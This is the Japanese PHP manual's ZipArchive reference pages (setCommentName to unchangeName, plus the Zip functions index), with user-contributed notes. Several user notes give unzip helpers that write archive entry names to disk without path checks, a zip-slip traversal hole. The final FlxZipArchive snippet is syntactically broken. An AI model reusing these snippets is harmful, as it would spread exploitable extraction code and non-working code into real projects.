public ZipArchive::setCommentName ( string $name , string $comment ) : bool

名前を使用して、エントリのコメントを設定します。

パラメータ

name

エントリの名前。

comment

コメントの内容。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 アーカイブをオープンし、エントリのコメントを設定する

<?php
$zip = new ZipArchive;
$res = $zip->open('test.zip');
if ($res === TRUE) {
    $zip->setCommentName('entry1.txt', '新しいエントリのコメント');
    $zip->close();
    echo '成功';
} else {
    echo '失敗';
}
?>

User Contributed Notes

There are no user contributed notes for this page.


インデックスで定義されたエントリの圧縮方法を設定する

  • ≪ ZipArchive::setCommentName
  • ZipArchive::setCompressionName ≫
  • PHP Manual
  • ZipArchive
  • インデックスで定義されたエントリの圧縮方法を設定する

ZipArchive::setCompressionIndex

(PHP 7, PHP 8, PECL zip >= 1.13.0)

ZipArchive::setCompressionIndex — インデックスで定義されたエントリの圧縮方法を設定する

説明

public ZipArchive::setCompressionIndex ( int $index , int $method , int $compflags = 0 ) : bool

インデックスで定義されたエントリの圧縮方法を設定します。

パラメータ

index

エントリのインデックス

method

圧縮メソッド。 ZipArchive::CM_* のいずれかです。

compflags

圧縮レベル。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 アーカイブに異なる圧縮メソッドでファイルを追加する

<?php
$zip = new ZipArchive;
$res = $zip->open('test.zip', ZipArchive::CREATE);
if ($res === TRUE) {
    $zip->addFromString('foo', 'Some text');
    $zip->addFromString('bar', 'Some other text');
    $zip->setCompressionIndex(0, ZipArchive::CM_STORE);
    $zip->setCompressionIndex(1, ZipArchive::CM_DEFLATE);
    $zip->close();
    echo 'ok';
} else {
    echo 'failed';
}
?>

User Contributed Notes

There are no user contributed notes for this page.


名前で定義されたエントリの圧縮メソッドを設定する

  • ≪ ZipArchive::setCompressionIndex
  • ZipArchive::setEncryptionIndex ≫
  • PHP Manual
  • ZipArchive
  • 名前で定義されたエントリの圧縮メソッドを設定する

ZipArchive::setCompressionName

(PHP 7, PHP 8, PECL zip >= 1.13.0)

ZipArchive::setCompressionName — 名前で定義されたエントリの圧縮メソッドを設定する

説明

public ZipArchive::setCompressionName ( string $name , int $method , int $compflags = 0 ) : bool

名前で定義されたエントリの圧縮メソッドを設定します。

パラメータ

name

エントリの名前

method

圧縮メソッド。 ZipArchive::CM_* のいずれかです。

compflags

圧縮レベル

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 アーカイブに異なる圧縮メソッドでファイルを追加する

<?php
$zip = new ZipArchive;
$res = $zip->open('test.zip', ZipArchive::CREATE);
if ($res === TRUE) {
    $zip->addFromString('foo', 'Some text');
    $zip->addFromString('bar', 'Some other text');
    $zip->setCompressionName('foo', ZipArchive::CM_STORE);
    $zip->setCompressionName('bar', ZipArchive::CM_DEFLATE);
    $zip->close();
    echo 'ok';
} else {
    echo 'failed';
}
?>

例2 ファイルを追加し、圧縮メソッドを設定する

<?php
$zip = new ZipArchive;
$res = $zip->open('test.zip', ZipArchive::CREATE);
if ($res === TRUE) {
    $zip->addFile('foo.jpg', 'bar.jpg');
    $zip->setCompressionName('bar.jpg', ZipArchive::CM_XZ);
    $zip->close();
    echo 'ok';
} else {
    echo 'failed';
}
?>

User Contributed Notes

There are no user contributed notes for this page.


index で定義されたエントリの暗号化方法を指定する

  • ≪ ZipArchive::setCompressionName
  • ZipArchive::setEncryptionName ≫
  • PHP Manual
  • ZipArchive
  • index で定義されたエントリの暗号化方法を指定する

ZipArchive::setEncryptionIndex

(PHP >= 7.2.0, PHP 8, PECL zip >= 1.14.0)

ZipArchive::setEncryptionIndex — index で定義されたエントリの暗号化方法を指定する

説明

public ZipArchive::setEncryptionIndex ( int $index , int $method , string|null $password = null ) : bool

index で定義されたエントリの暗号化方法を設定します。

パラメータ

index

エントリのインデックスです

method

ZipArchive::EM_ 定数のうちのひとつによって定義された暗号化方式

password

オプションで指定するパスワード。 指定されない場合はデフォルトの値が使われます。

返り値

成功した場合に true を、失敗した場合に false を返します。

注意

注意:

この関数は、libzip ? 1.2.0 でビルドされた場合にのみ利用可能です。

変更履歴

バージョン | 説明
8.0.0 | password は、nullable になりました。

参考

  • ZipArchive::setPassword() - アクティブなアーカイブにパスワードを設定する
  • ZipArchive::setEncryptionName() - 名前で定義されたエントリの暗号化方式を設定する

User Contributed Notes

There are no user contributed notes for this page.


名前で定義されたエントリの暗号化方式を設定する

  • ≪ ZipArchive::setEncryptionIndex
  • ZipArchive::setExternalAttributesIndex ≫
  • PHP Manual
  • ZipArchive
  • 名前で定義されたエントリの暗号化方式を設定する

ZipArchive::setEncryptionName

(PHP >= 7.2.0, PHP 8, PECL zip >= 1.14.0)

ZipArchive::setEncryptionName — 名前で定義されたエントリの暗号化方式を設定する

説明

public ZipArchive::setEncryptionName ( string $name , int $method , string|null $password = null ) : bool

名前で定義されたエントリの暗号化方式を設定する

パラメータ

name

エントリの名前です

method

ZipArchive::EM_ 定数のうちのひとつによって定義された暗号化方式

password

オプションで指定するパスワード。 指定されない場合はデフォルトの値が使われます。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | password は、nullable になりました。

例

この例は、ZIP ファイルアーカイブ test.zip を作成し、 AES 256ビット で暗号化した test.txt を追加します。

例1 アーカイブを作成し、ファイルを暗号化する

<?php
$zip = new ZipArchive();
if ($zip->open('test.zip', ZipArchive::CREATE) === TRUE) {
    $zip->setPassword('secret');
    $zip->addFile('text.txt');
    $zip->setEncryptionName('text.txt', ZipArchive::EM_AES_256);
    $zip->close();
    echo "Ok\n";
} else {
    echo "KO\n";
}
?>

注意

注意:

この関数は、libzip ? 1.2.0 でビルドされた場合にのみ利用可能です。

参考

  • ZipArchive::setPassword() - アクティブなアーカイブにパスワードを設定する
  • ZipArchive::setEncryptionIndex() - index で定義されたエントリの暗号化方法を指定する

User Contributed Notes

mauro dot chojrin at leewayweb dot com 14-Aug-2020 05:13
Files compressed using this function on Linux won't be decompressed using Windows.

There seems to be some incompatibility with Windows built-in decompressor.

There's an alternative library that works better here: https://github.com/Ne-Lexa/php-zip

I got windows to open a file created with it by using the PKWARE encryption method


インデックスで定義されたエントリの外部属性を設定する

  • ≪ ZipArchive::setEncryptionName
  • ZipArchive::setExternalAttributesName ≫
  • PHP Manual
  • ZipArchive
  • インデックスで定義されたエントリの外部属性を設定する

ZipArchive::setExternalAttributesIndex

(PHP 5 >= 5.6.0, PHP 7, PHP 8, PECL zip >= 1.12.4)

ZipArchive::setExternalAttributesIndex — インデックスで定義されたエントリの外部属性を設定する

説明

public ZipArchive::setExternalAttributesIndex ( int $index , int $opsys , int $attr , int $flags = 0 ) : bool

インデックスで定義されたエントリの外部属性を設定します。

パラメータ

index

エントリのインデックス

opsys

ZipArchive::OPSYS_ 定数のうちのひとつで定義された、 オペレーティングシステムコード

attr

外部属性。 値はオペレーティングシステム依存です。

flags

オプションのフラグ。現在は使われていません。

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


名前で定義されたエントリの外部属性を設定する

  • ≪ ZipArchive::setExternalAttributesIndex
  • ZipArchive::setMtimeIndex ≫
  • PHP Manual
  • ZipArchive
  • 名前で定義されたエントリの外部属性を設定する

ZipArchive::setExternalAttributesName

(PHP 5 >= 5.6.0, PHP 7, PHP 8, PECL zip >= 1.12.4)

ZipArchive::setExternalAttributesName — 名前で定義されたエントリの外部属性を設定する

説明

public ZipArchive::setExternalAttributesName ( string $name , int $opsys , int $attr , int $flags = 0 ) : bool

名前で定義されたエントリの外部属性を設定します。

パラメータ

name

エントリの名前

opsys

ZipArchive::OPSYS_ 定数のうちのひとつで定義された、 オペレーティングシステムコード

attr

外部属性。 値はオペレーティングシステム依存です。

flags

オプションのフラグ。現在は使われていません。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

この例は、ZIPファイルアーカイブ test.zip を開き、 ファイル test.txt を 外部属性として Unix権限を付けて追加しています。

例1 Unix権限付きでファイルをアーカイブする

<?php
$zip = new ZipArchive();
$stat = stat($filename='test.txt');
if (is_array($stat) && $zip->open('test.zip', ZipArchive::CREATE) === TRUE) {
    $zip->addFile($filename);
    $zip->setExternalAttributesName($filename, ZipArchive::OPSYS_UNIX, $stat['mode'] << 16);
    $zip->close();
    echo "Ok\n";
} else {
    echo "KO\n";
}
?>

User Contributed Notes

There are no user contributed notes for this page.


インデックスを使用してエントリの変更時間を設定する

  • ≪ ZipArchive::setExternalAttributesName
  • ZipArchive::setMtimeName ≫
  • PHP Manual
  • ZipArchive
  • インデックスを使用してエントリの変更時間を設定する

ZipArchive::setMtimeIndex

(PHP >= 8.0.0, PECL zip >= 1.16.0)

ZipArchive::setMtimeIndex — インデックスを使用してエントリの変更時間を設定する

説明

public ZipArchive::setMtimeIndex ( int $index , int $timestamp , int $flags = 0 ) : bool|null

インデックスを使用してエントリの変更時間を設定します。

パラメータ

index

エントリのインデックス

timestamp

ファイルの変更時間(Unixタイムスタンプ)

flags

オプションで指定するフラグ。現在未使用です。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

この例は、php.zip というZIPファイルを生成し、 test.txt というファイルを変更日時と一緒に追加しています。

例1 ファイルをアーカイブする

<?php
$zip = new ZipArchive();
if ($zip->open('test.zip', ZipArchive::CREATE) === TRUE) {
    $zip->addFile('text.txt');
    $zip->setMtimeIndex(0, mktime(0,0,0,12,25,2019));
    $zip->close();
    echo "Ok\n";
} else {
    echo "KO\n";
}
?>

注意

注意:

この関数は libzip ? 1.0.0 を使って PHP をビルドしたときのみ利用可能です。

参考

  • ZipArchive::setMtimeName() - 名前を使ってエントリの変更時間を設定する

User Contributed Notes

There are no user contributed notes for this page.


名前を使ってエントリの変更時間を設定する

  • ≪ ZipArchive::setMtimeIndex
  • ZipArchive::setPassword ≫
  • PHP Manual
  • ZipArchive
  • 名前を使ってエントリの変更時間を設定する

ZipArchive::setMtimeName

(PHP >= 8.0.0, PECL zip >= 1.16.0)

ZipArchive::setMtimeName — 名前を使ってエントリの変更時間を設定する

説明

public ZipArchive::setMtimeName ( string $name , int $timestamp , int $flags = 0 ) : bool|null

名前を使ってエントリの変更時間を設定します。

パラメータ

name

エントリの名前

timestamp

ファイルの変更時間(Unixタイムスタンプ)

flags

オプションで指定するフラグ。現在未使用です。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

この例は、test.zip というファイル名の zipファイルを作成し、 test.txt というファイルを変更日時と一緒に追加しています。

例1 ファイルをアーカイブする

<?php
$zip = new ZipArchive();
if ($zip->open('test.zip', ZipArchive::CREATE) === TRUE) {
    $zip->addFile('text.txt');
    $zip->setMtimeName('text.txt', mktime(0,0,0,12,25,2019));
    $zip->close();
    echo "Ok\n";
} else {
    echo "KO\n";
}
?>

注意

注意:

この関数は libzip ? 1.0.0 を使って PHP をビルドしたときのみ利用可能です。

参考

  • ZipArchive::setMtimeIndex() - インデックスを使用してエントリの変更時間を設定する

User Contributed Notes

There are no user contributed notes for this page.


アクティブなアーカイブにパスワードを設定する

  • ≪ ZipArchive::setMtimeName
  • ZipArchive::statIndex ≫
  • PHP Manual
  • ZipArchive
  • アクティブなアーカイブにパスワードを設定する

ZipArchive::setPassword

(PHP 5 >= 5.6.0, PHP 7, PHP 8, PECL zip >= 1.12.4)

ZipArchive::setPassword — アクティブなアーカイブにパスワードを設定する

説明

public ZipArchive::setPassword ( string $password ) : bool

アクティブなアーカイブにパスワードを設定します。

パラメータ

password

アーカイブに使用されるパスワード。

返り値

成功した場合に true を、失敗した場合に false を返します。

注意

注意:

PHP 7.2.0 と libzip 1.2.0 以降では、パスワードはアーカイブを解凍するのに使われます。 そして、ZipArchive::setEncryptionName() と ZipArchive::setEncryptionIndex() のデフォルトのパスワードとしても使われます。 これより前のバージョンでは、この関数はアーカイブの解凍のみに使うパスワードを設定していました。 つまり、パスワードで保護されていない ZipArchive をパスワードで保護された ZipArchive に変換していませんでした。

参考

  • ZipArchive::setEncryptionIndex() - index で定義されたエントリの暗号化方法を指定する
  • ZipArchive::setEncryptionName() - 名前で定義されたエントリの暗号化方式を設定する

User Contributed Notes

blindfury at mailinator dot com 02-Mar-2018 07:43
To create password protected archive in PHP >= 7.2 use:

<?php
    $zip->setEncryptionName('test.txt', ZipArchive::EM_AES_256, 'test');
?>

Based on example from the documentation:

<?php

$zip = new ZipArchive;
$res = $zip->open('test.zip', ZipArchive::CREATE);
if ($res === TRUE) {
    $zip->addFromString('test.txt', 'file content goes here');
    $zip->setEncryptionName('test.txt', ZipArchive::EM_AES_256, 'passw0rd');
    $zip->close();
    echo 'ok';
} else {
    echo 'failed';
}

?>
stanislav dot eckert at vizson dot de 26-Sep-2014 02:43
It seems that this function supports only decryption of password protected archives (see changelog: http://pecl.php.net/package-changelog.php?package=zip). Creation of password protected archives is not supported (they will be created simply as non-protected archives).

Example code for extraction of files from password protected ZIP archives:

<?php
    $zip = new ZipArchive();
    $zip_status = $zip->open("test.zip");

    if ($zip_status === true)
    {
        if ($zip->setPassword("MySecretPassword"))
        {
            if (!$zip->extractTo(__DIR__))
                echo "Extraction failed (wrong password?)";
        }

        $zip->close();
    }
    else
    {
        die("Failed opening archive: ". @$zip->getStatusString() . " (code: ". $zip_status .")");
    }
?>


インデックスを使用してエントリの詳細を取得する

  • ≪ ZipArchive::setPassword
  • ZipArchive::statName ≫
  • PHP Manual
  • ZipArchive
  • インデックスを使用してエントリの詳細を取得する

ZipArchive::statIndex

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.1.0)

ZipArchive::statIndex — インデックスを使用してエントリの詳細を取得する

説明

public ZipArchive::statIndex ( int $index , int $flags = 0 ) : array|false

この関数は、インデックスを使用してエントリの詳細情報を取得します。

パラメータ

index

エントリのインデックス。

flags

ZipArchive::FL_UNCHANGED を OR で連結すると、 アーカイブ内に最初に記録された際の情報を取得します。 変更内容は無視されます。

返り値

エントリの詳細を含む配列を返します。失敗した場合に false を返します。

例

例1 エントリの情報の出力

<?php
$zip = new ZipArchive;
$res = $zip->open('test.zip');
if ($res === TRUE) {
    print_r($zip->statIndex(3));
    $zip->close();
} else {
    echo '失敗、コード:' . $res;
}
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [name] => foobar/baz
    [index] => 3
    [crc] => 499465816
    [size] => 27
    [mtime] => 1123164748
    [comp_size] => 24
    [comp_method] => 8
)

User Contributed Notes

eion at robbmob dot com 12-Jan-2016 01:39
Note that the 'mtime' field only comes from the DOS-format time that's stored in the zip file, which is only accurate to the nearest 2-seconds.  Zip files can store mtime's in multiple, optional fields but PHP's zip library does not retrieve them (nor does it provide API to access the extra fields)

The end result is that you will see timestamps that could be out by one second (if the original timestamp was odd), and won't necessarily match was other unzip programs will show the mtime as.
Chris Lewis 20-Dec-2011 12:15
Note that the signed-integer CRC result is only true on 32-bit systems. 64-bit systems return correct CRCs.

A safer way (as recommended by crc32() function page) might be:

if ($file['crc'] < 0)
   $file['crc'] = sprintf("%u",$file['crc']);
Anonymous 16-Nov-2011 08:20
The CRC returned from this method is a signed number and so can be negative. This isn't how most CRC's are represented and so can cause problems. Another thing to know is that the standerd CRC algorithm used for zip files is CRC32b.

So to put this together lets say that you wanted to extract the first file from a zip and then compare the original CRC with the CRC for the extracted file this is what you would need to do. (proper error checking is omitted for simplicity).

<?php
 $zip = new ZipArchive();

 $zip->open("myZip.zip");

 $stat = $zip->statIndex( 0 );

 $name = $stat['name'];

 $oldCrc = $stat['crc'];

 $zip->extractTo("myPath", $name);

 $newCrc = hexdec(hash_file("crc32b", "myPath/" . $name));

 // Have to test both cases as the unsigned CRC from within the zip might appear negative as a signed int.
 if($newCrc !== $oldCrc && ($oldCrc + 4294967296) !== $newCrc) {
    echo "The files don't match!";
 }
?>


名前を使用してエントリの詳細を取得する

  • ≪ ZipArchive::statIndex
  • ZipArchive::unchangeAll ≫
  • PHP Manual
  • ZipArchive
  • 名前を使用してエントリの詳細を取得する

ZipArchive::statName

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.5.0)

ZipArchive::statName — 名前を使用してエントリの詳細を取得する

説明

public ZipArchive::statName ( string $name , int $flags = 0 ) : array|false

この関数は、名前を使用してエントリの詳細情報を取得します。

パラメータ

name

エントリの名前。

flags

名前をどのように探すのかを設定します。 また ZipArchive::FL_UNCHANGED を OR で連結すると、 アーカイブ内に最初に記録された際の情報を取得します。 変更内容は無視されます。

  • ZipArchive::FL_NOCASE

  • ZipArchive::FL_NODIR

  • ZipArchive::FL_UNCHANGED

返り値

エントリの詳細を含む配列を返します。失敗した場合に false を返します。

例

例1 エントリの情報の出力

<?php
$zip = new ZipArchive;
$res = $zip->open('test.zip');
if ($res === TRUE) {
    print_r($zip->statName('foobar/baz'));
    $zip->close();
} else {
    echo '失敗、コード:' . $res;
}
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [name] => foobar/baz
    [index] => 3
    [crc] => 499465816
    [size] => 27
    [mtime] => 1123164748
    [comp_size] => 24
    [comp_method] => 8
)

User Contributed Notes

Stewart Rice 26-Mar-2010 04:18
Since a Unix Timestamp is measured in seconds, not milliseconds, I would have to assume that mtime is 'modified time' rather than 'millisecond time'... however it does not appear to work on a Linux system


アーカイブに対するすべての変更を取り消す

  • ≪ ZipArchive::statName
  • ZipArchive::unchangeArchive ≫
  • PHP Manual
  • ZipArchive
  • アーカイブに対するすべての変更を取り消す

ZipArchive::unchangeAll

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.1.0)

ZipArchive::unchangeAll — アーカイブに対するすべての変更を取り消す

説明

public ZipArchive::unchangeAll ( ) : bool

アーカイブに対するすべての変更を取り消します。

パラメータ

この関数にはパラメータはありません。

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

mauro dot chojrin at leewayweb dot com 29-Nov-2017 02:56
This should probably come without any surprise, but the changes can only be undone before close() is called...


アーカイブ全体に対して行われたすべての変更を取り消す

  • ≪ ZipArchive::unchangeAll
  • ZipArchive::unchangeIndex ≫
  • PHP Manual
  • ZipArchive
  • アーカイブ全体に対して行われたすべての変更を取り消す

ZipArchive::unchangeArchive

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.1.0)

ZipArchive::unchangeArchive — アーカイブ全体に対して行われたすべての変更を取り消す

説明

public ZipArchive::unchangeArchive ( ) : bool

アーカイブ全体に対して行われたすべての変更を取り消します。 現在は、これはアーカイブのコメントに対する変更のみを取り消します。

パラメータ

この関数にはパラメータはありません。

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


指定したインデックスのエントリに対するすべての変更を取り消す

  • ≪ ZipArchive::unchangeArchive
  • ZipArchive::unchangeName ≫
  • PHP Manual
  • ZipArchive
  • 指定したインデックスのエントリに対するすべての変更を取り消す

ZipArchive::unchangeIndex

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.1.0)

ZipArchive::unchangeIndex — 指定したインデックスのエントリに対するすべての変更を取り消す

説明

public ZipArchive::unchangeIndex ( int $index ) : bool

指定したインデックスのエントリに対するすべての変更を取り消します。

パラメータ

index

エントリのインデックス。

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

till at php dot net 29-Aug-2010 08:29
Consider this example:

<?php
$zip = new ZipArchive;
$zip->open(...);

$zip->addFile('path/file', 'foo');
$zip->renameIndex(0, 'bar');

echo $zip->getNameIndex(0); // 'bar'

$zip->unchangeIndex(0);

echo $zip->getNameIndex(0); // 'false'
?>

Unless you call save() in between, the unchangeIndex() call reverts back to the initial state of the archive - where index '0' did not exist.

If you called save() after addFile() and then renamed the file, you would be able to revert/undo the name change.


指定した名前のエントリに対するすべての変更を取り消す

  • ≪ ZipArchive::unchangeIndex
  • Zip 関数 ≫
  • PHP Manual
  • ZipArchive
  • 指定した名前のエントリに対するすべての変更を取り消す

ZipArchive::unchangeName

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.5.0)

ZipArchive::unchangeName — 指定した名前のエントリに対するすべての変更を取り消す

説明

public ZipArchive::unchangeName ( string $name ) : bool

エントリに対するすべての変更を取り消します。

パラメータ

name

エントリの名前。

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


Zip 関数

警告

手続き型のAPI は PHP 8.0.0 以降、推奨されなくなりました。 代わりに ZipArchive クラスを使うべきです。

目次

  • zip_close — ZIP ファイルアーカイブを閉じる
  • zip_entry_close — ディレクトリエントリを閉じる
  • zip_entry_compressedsize — ディレクトリエントリの圧縮時のサイズを取得する
  • zip_entry_compressionmethod — ディレクトリエントリの圧縮方法を取得する
  • zip_entry_filesize — ディレクトリエントリの実際のファイルサイズを取得する
  • zip_entry_name — ディレクトリエントリの名前を取得する
  • zip_entry_open — 読込み用にディレクトリエントリをオープンする
  • zip_entry_read — オープンされたディレクトリエントリから読み込む
  • zip_open — Zip ファイルアーカイブをオープンする
  • zip_read — Zip ファイルアーカイブの中の次のエントリを読み込む

User Contributed Notes

vk.com/vknkk 14-Aug-2015 07:01
<?php
// Extracting all *.zip files (including subfolders) into current directory (developed & tested at Win7)
$files = glob('*.zip');
if ($files)
  foreach ($files as $fl) {
    $zip = zip_open($fl);
    if (is_resource($zip)) {
      $dir = substr($fl, 0, -4); // Directory by *.zip file name (Extract into "*/")
      if (!is_dir($dir))
        mkdir($dir);
      while (is_resource($entry = zip_read($zip))) {
        $is_file = true;
        $name = zip_entry_name($entry);
        $name_parts = explode('/', $name);
        if (count($name_parts) > 1) { // Processing subfolders
          $path = array_pop($name_parts);
          $is_file = !empty($path);
          $path = $dir;
          foreach ($name_parts as $part) {
            $path .= '/'.$part;
            if (!is_dir($path))
              mkdir($path);
          }
        }
        if ($is_file)
          file_put_contents($dir.'/'.$name, zip_entry_read($entry, zip_entry_filesize($entry)));
      }
      zip_close($zip);
    }
  }
shadowbranch at gmail dot com 30-Sep-2011 05:40
This is the simplest method to unzip a file. Pass the function your filename and it will unzip it to the current directory of the script with permissions done properly on unix type operating systems. Far simpler to understand and read.

<?php
function unzip($file){
    $zip = zip_open($file);
    if(is_resource($zip)){
        $tree = "";
        while(($zip_entry = zip_read($zip)) !== false){
            echo "Unpacking ".zip_entry_name($zip_entry)."\n";
            if(strpos(zip_entry_name($zip_entry), DIRECTORY_SEPARATOR) !== false){
                $last = strrpos(zip_entry_name($zip_entry), DIRECTORY_SEPARATOR);
                $dir = substr(zip_entry_name($zip_entry), 0, $last);
                $file = substr(zip_entry_name($zip_entry), strrpos(zip_entry_name($zip_entry), DIRECTORY_SEPARATOR)+1);
                if(!is_dir($dir)){
                    @mkdir($dir, 0755, true) or die("Unable to create $dir\n");
                }
                if(strlen(trim($file)) > 0){
                    $return = @file_put_contents($dir."/".$file, zip_entry_read($zip_entry, zip_entry_filesize($zip_entry)));
                    if($return === false){
                        die("Unable to write file $dir/$file\n");
                    }
                }
            }else{
                file_put_contents($file, zip_entry_read($zip_entry, zip_entry_filesize($zip_entry)));
            }
        }
    }else{
        echo "Unable to open zip file\n";
    }
}
?>
wdtemp at seznam dot cz 12-Apr-2010 12:34
Hi,
if you have the RAW CONTENT OF THE ZIP FILE IN A STRING ONLY and you can't create files on your server (because of the SAFE MODE) to be able to create a file which you can then pass to zip_open(), you'll be having hard times getting the uncompressed content of your ZIP data.
This may help:
I've written simple ZIP decompression function for decompressing the first file from the archive stored in a string (no matter what file it is). It's just about parsing a local file header of the first file, getting raw compressed data of that file and decompression of that data (usually, data in ZIP files are compressed by 'DEFLATE' method, so we'll just decompress it by gzinflate() function then).

<?php
function decompress_first_file_from_zip($ZIPContentStr){
//Input: ZIP archive - content of entire ZIP archive as a string
//Output: decompressed content of the first file packed in the ZIP archive
    //let's parse the ZIP archive
    //(see 'http://en.wikipedia.org/wiki/ZIP_%28file_format%29' for details)
    //parse 'local file header' for the first file entry in the ZIP archive
    if(strlen($ZIPContentStr)<102){
        //any ZIP file smaller than 102 bytes is invalid
        printf("error: input data too short<br />\n");
        return '';
    }
    $CompressedSize=binstrtonum(substr($ZIPContentStr,18,4));
    $UncompressedSize=binstrtonum(substr($ZIPContentStr,22,4));
    $FileNameLen=binstrtonum(substr($ZIPContentStr,26,2));
    $ExtraFieldLen=binstrtonum(substr($ZIPContentStr,28,2));
    $Offs=30+$FileNameLen+$ExtraFieldLen;
    $ZIPData=substr($ZIPContentStr,$Offs,$CompressedSize);
    $Data=gzinflate($ZIPData);
    if(strlen($Data)!=$UncompressedSize){
        printf("error: uncompressed data have wrong size<br />\n");
        return '';
    }
    else return $Data;
}

function binstrtonum($Str){
//Returns a number represented in a raw binary data passed as string.
//This is useful for example when reading integers from a file,
// when we have the content of the file in a string only.
//Examples:
// chr(0xFF) will result as 255
// chr(0xFF).chr(0xFF).chr(0x00).chr(0x00) will result as 65535
// chr(0xFF).chr(0xFF).chr(0xFF).chr(0x00) will result as 16777215
    $Num=0;
    for($TC1=strlen($Str)-1;$TC1>=0;$TC1--){ //go from most significant byte
        $Num<<=8; //shift to left by one byte (8 bits)
        $Num|=ord($Str[$TC1]); //add new byte
    }
    return $Num;
}
?>

ENJOY!!!
wdim
yarms at mail dot ru 15-Aug-2009 09:24
very short version of function for unzipping files with folders structure:
<?php

function unzip($file){

    $zip=zip_open(realpath(".")."/".$file);
    if(!$zip) {return("Unable to proccess file '{$file}'");}

    $e='';

    while($zip_entry=zip_read($zip)) {
       $zdir=dirname(zip_entry_name($zip_entry));
       $zname=zip_entry_name($zip_entry);

       if(!zip_entry_open($zip,$zip_entry,"r")) {$e.="Unable to proccess file '{$zname}'";continue;}
       if(!is_dir($zdir)) mkdirr($zdir,0777);

       #print "{$zdir} | {$zname} \n";

       $zip_fs=zip_entry_filesize($zip_entry);
       if(empty($zip_fs)) continue;

       $zz=zip_entry_read($zip_entry,$zip_fs);

       $z=fopen($zname,"w");
       fwrite($z,$zz);
       fclose($z);
       zip_entry_close($zip_entry);

    }
    zip_close($zip);

    return($e);
}

function mkdirr($pn,$mode=null) {

  if(is_dir($pn)||empty($pn)) return true;
  $pn=str_replace(array('/', ''),DIRECTORY_SEPARATOR,$pn);

  if(is_file($pn)) {trigger_error('mkdirr() File exists', E_USER_WARNING);return false;}

  $next_pathname=substr($pn,0,strrpos($pn,DIRECTORY_SEPARATOR));
  if(mkdirr($next_pathname,$mode)) {if(!file_exists($pn)) {return mkdir($pn,$mode);} }
  return false;
}

unzip("test.zip");

?>

have a nice day :)
phillpafford+php at gmail dot com 12-Jun-2008 06:28
You could just use the linux commands

<?php

// Get the date
$date = date("m-d-y");

// Make Zip name
$zipname = "archive/site-script-backup." . $date . ".zip";

// Make a zip file
$cmd = `zip -r $zipname *`;

?>
rodrigo dot moraes at gmail dot com 29-Jan-2008 07:56
Here's a more simple extended class to add a whole directory recursively, keeping the same structure. It uses SPL.

<?php
class MyZipArchive extends ZipArchive
{
    /**
     *
     * Adds a directory recursively.
     *
     * @param string $filename The path to the file to add.
     *
     * @param string $localname Local name inside ZIP archive.
     *
     */
    public function addDir($filename, $localname)
    {
        $this->addEmptyDir($localname);
        $iter = new RecursiveDirectoryIterator($filename, FilesystemIterator::SKIP_DOTS);

        foreach ($iter as $fileinfo) {
            if (! $fileinfo->isFile() && !$fileinfo->isDir()) {
                continue;
            }

            $method = $fileinfo->isFile() ? 'addFile' : 'addDir';
            $this->$method($fileinfo->getPathname(), $localname . '/' .
                $fileinfo->getFilename());
        }
    }
}
?>

[EDIT BY danbrown AT php DOT net: Contains a bugfix suggested by (bart AT blueberry DOT nl) on 29-JUN-2011 with the following message. "Fix for the endless Iteratore add the flag FilesystemIterator::SKIP_DOTS"]
mmj48 at gmail dot com 08-Nov-2007 05:39
Heres a function I wrote that will extract a zip file with the same directory structure...

Enjoy:

<?php
function unzip($zipfile)
{
    $zip = zip_open($zipfile);
    while ($zip_entry = zip_read($zip))    {
        zip_entry_open($zip, $zip_entry);
        if (substr(zip_entry_name($zip_entry), -1) == '/') {
            $zdir = substr(zip_entry_name($zip_entry), 0, -1);
            if (file_exists($zdir)) {
                trigger_error('Directory "<b>' . $zdir . '</b>" exists', E_USER_ERROR);
                return false;
            }
            mkdir($zdir);
        }
        else {
            $name = zip_entry_name($zip_entry);
            if (file_exists($name)) {
                trigger_error('File "<b>' . $name . '</b>" exists', E_USER_ERROR);
                return false;
            }
            $fopen = fopen($name, "w");
            fwrite($fopen, zip_entry_read($zip_entry, zip_entry_filesize($zip_entry)), zip_entry_filesize($zip_entry));
        }
        zip_entry_close($zip_entry);
    }
    zip_close($zip);
    return true;
}
?>
nheimann at gmx dot net 03-Nov-2007 07:19
With this extension you can Add dirs with files with the ZipArchive Object

<?php
/**
 * FlxZipArchive, Extends ZipArchiv.
 * Add Dirs with Files and Subdirs.
 *
 * <code>
 *  $archive = new FlxZipArchive;
 *  // .....
 *  $archive->addDir( 'test/blub', 'blub' );
 * </code>
 */
class FlxZipArchive extends ZipArchive {
    /**
     * Add a Dir with Files and Subdirs to the archive
     *
     * @param string $location Real Location
     * @param string $name Name in Archive
     * @author Nicolas Heimann
     * @access private
     **/

    public function addDir($location, $name) {
        $this->addEmptyDir($name);

        $this->addDirDo($location, $name);
//     } // EO addDir;

    /**
     * Add Files & Dirs to archive.
     *
     * @param string $location Real Location
     * @param string $name Name in Archive
     * @author Nicolas Heimann
     * @access private
     **/

    private function addDirDo($location, $name) {
        $name .= '/';
        $location .= '/';

        // Read all Files in Dir
        $dir = opendir ($location);
        while ($file = readdir($dir))
        {
            if ($file == '.' || $file == '..') continue;

            // Rekursiv, If dir: FlxZipArchive::addDir(), else ::File();
            $do = (filetype() == 'dir') ? 'addDir' : 'addFile';
            $this->$do($location . $file, $name . $file);
        }
    } // EO addDirDo();
}
?>
